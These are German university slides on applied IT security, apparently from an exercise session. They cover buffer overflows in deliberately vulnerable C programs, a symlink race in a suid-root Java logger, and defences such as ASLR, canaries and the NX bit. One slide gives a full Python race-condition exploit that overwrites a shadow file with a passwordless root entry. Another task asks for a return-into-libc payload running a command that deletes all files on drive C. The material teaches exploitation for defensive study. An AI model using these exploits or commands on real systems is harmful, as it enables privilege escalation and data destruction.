Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28 Aufgabe 1 Betrachten sie folgendes Programm: #include <stdio.h> #include <string.h> int main() { char password[] = "Super Secret Passwd!"; char buf[20]; printf("Passwort: "); gets(buf); if(!strncmp(password, buf, 20)){ printf("You have been Authorized...\n"); } else { printf("Wrong Password\n"); } return 0; } a) Wie sieht der Stack unmittelbar zu Beginn der main() Methode aus? b) Die Funktion gets() ist anfällig für einen Buffer Overflow. Wie kann ein Angreifer dies ausnutzen? c) Geben sie eine mögliche Eingabe an, mit der eine ’Authentifikation’ erreicht werden kann ohne das Passwort zu kennen. Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 2 / 28 password.c #include <stdio.h> #include <string.h> int main() { char password[] = "Super Secret Passwd!"; char buf[20]; printf("Passwort: "); gets(buf); if(!strncmp(password, buf, 20)){ printf("You have been Authorized...\n"); } else { printf("Wrong Password\n"); } return 0; } Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 3 / 28 Disassembly Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 4 / 28 Stack Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 5 / 28 Overflow Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 6 / 28 Access granted Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 7 / 28 Aufgabe 2 Folgender C-Code kann für einen Standard-Overflow genutzt werden: void example( char * buf ) { char localbuf[32]; strcpy( localbuf, buf ); printf("Copied to buffer: %s\n", localbuf ); } a) Welche Eingabe ist erforderlich um nach der Ausführung der Funktion an die Adresse 0xEFBEADDE zu springen? b) Wie kann dieser Sprung von einem Angreifer genutzt werden? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 8 / 28 workingOverflow.c #include <stdio.h> #include <string.h> void example( char * buf ) { char localbuf[32]; strcpy( localbuf, buf ); printf("Copied to buffer: %s\n", localbuf ); } int main(){ char buf [255]; printf("Enter Content to be passed into example():"); gets(buf); example(buf); } Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 9 / 28 Disassembly Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 10 / 28 Disassembly of example() Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 11 / 28 Stack with normal input Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 12 / 28 Stack with very long input Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 13 / 28 Register state after crash Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 14 / 28 Now think about how the exploit string must look like Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 15 / 28 Passing exploit string to function Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 16 / 28 Stack before overflow Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 17 / 28 Stack after overflow Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 18 / 28 Registers after RET Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 19 / 28 0xDEADBEEF vs 0xEFBEADDE Intel Architektur ist little Endian Adressen die mit 0x01020304 im Speicher abgelegt sind werden als 0x04030201 interpretiert Wie muss also der Exploitstring aussehen? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 20 / 28 Aufgabe 3 a) Das folgende Java Programm ist ein Logging Service, der suid-root läuft. Es trägt an ihn übergebene Parameter in ein Logfile ein. Allerdings enthält er eine Sicherheitslücke, die es dem Angreifer erlaubt in beliebige Dateien zu schreiben. 1 2 Identifizieren und Beschreiben sie die Sicherheitslücke Wie könnte man sie ausnutzen, um root Rechte zu erlangen? b) Der Hersteller hat in dem Programm nun einige Patches eingebaut, welche die Sicherheitslücke schliessen sollen (siehe Listing 4, ’SafeLogger.java’) 1 2 3 Waren seine Bemühungen erfolgreich? Falls nicht schreiben sie ein Programm, in einer Programmiersprache ihrer Wahl, welches die Sicherheitslücke ausnutzt um root Rechte zu erlangen Was müsste man an dem Programm ändern um diese Sicherheitslücke zu beseitigen? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 21 / 28 Logger.java import java.io.*; public class Logger{ public static void main(String[] args) throws Exception{ if(args.length!=1){ System.out.println("usage: \"java Logger <text>\""); System.exit(0); } File tmp = new File("message.log"); if(tmp.isFile() && tmp.canWrite() && tmp.exists()){ System.out.println("Logfile: " + tmp.toString()); } else{ System.out.println("Logfile does not exist...creating..."); tmp.createNewFile(); } System.out.println("\nLogging: " + args[0]); FileWriter out = new FileWriter(tmp); out.append(args[0]); out.close(); } } Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 22 / 28 SafeLogger.java import java.io.*; public class SafeLogger{ public static void main(String[] args) throws Exception{ if(args.length!=1){ System.out.println("usage: \"java Logger <text>\""); System.exit(0); } File tmp = new File("message.log"); if(tmp.isFile() && tmp.canWrite() && tmp.exists() && !isLink(tmp)){ System.out.println("Logfile: " + tmp.toString()); } else{ if(tmp.exists() && isLink(tmp)){ tmp.delete(); System.out.println("Symlink detected...deleting..."); } System.out.println("Logfile does not exist...creating..."); tmp.createNewFile(); } System.out.println("\nLogging: " + args[0]); FileWriter out = new FileWriter(tmp); out.append(args[0]); out.close(); } public static boolean isLink(File file) throws Exception{ String cnnpath = file.getCanonicalPath(); String abspath = file.getAbsolutePath(); return !abspath.equals(cnnpath); } } Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 23 / 28 Race Condition Exploit #!/usr/bin/env python import os import time for i in range(0, 500): # If file exists, get rid of it (deletes any symlink we placed...) filename = ’./message.log’ if os.path.exists(filename): os.remove(filename) # Now lets create an empty file... file = open(filename, "w") file.close() os.system("nice -n 19 java Logger \"root::11636:0:::::\" &" ) time.sleep(0.05) # while its running lets snatch its tempfile and replace with link to shadow if os.path.exists(filename): os.remove(filename) os.system("ln -s ./shadow " + filename) time.sleep(0.05) # thats long enough, lets kill it... os.system("killall java") Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 24 / 28 Aufgabe 4 Es gibt verschiedenste Ansätze die Ausnutzung von Buffer Overflows zu verhindern. a) Erläutern sie folgende Techniken: i) ii) iii) iv) ASLR Canaries NX-Bit Verwendung von Funktionen mit Längenprüfung b) Welche dieser Methoden halten sie für effektiv und warum? Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 25 / 28 Aufgabe 5 Ein Trick um den Schutz des Stacks durch das NX-Bit zu umgehen ist die Return into libc Technik. Nehmen Sie an, dass die Funktion WinExec( char *commandline, long flags); an Adresse 0x7F3A2C2A liegt. Betrachten Sie den folgenden Code: void example( char * buf, int len ) { char localbuf[ 255 ]; memcpy( localbuf, buf, len ); printf( localbuf ); } Nehmen Sie an, dass zum Zeitpunkt des Aufrufs von example das ESP-Register auf Adresse 0x123456C0 zeigt. Nehmen Sie weiter an, dass der Angreifer sowohl len als auch buf kontrolliert. Konstruieren Sie einen String in buf, der WinExec(’’del c:\(*.*) /s /q’’, 1) aufruft. Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 26 / 28 Return to Libc Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 27 / 28 The End Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 28 / 28 The End Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 28 / 28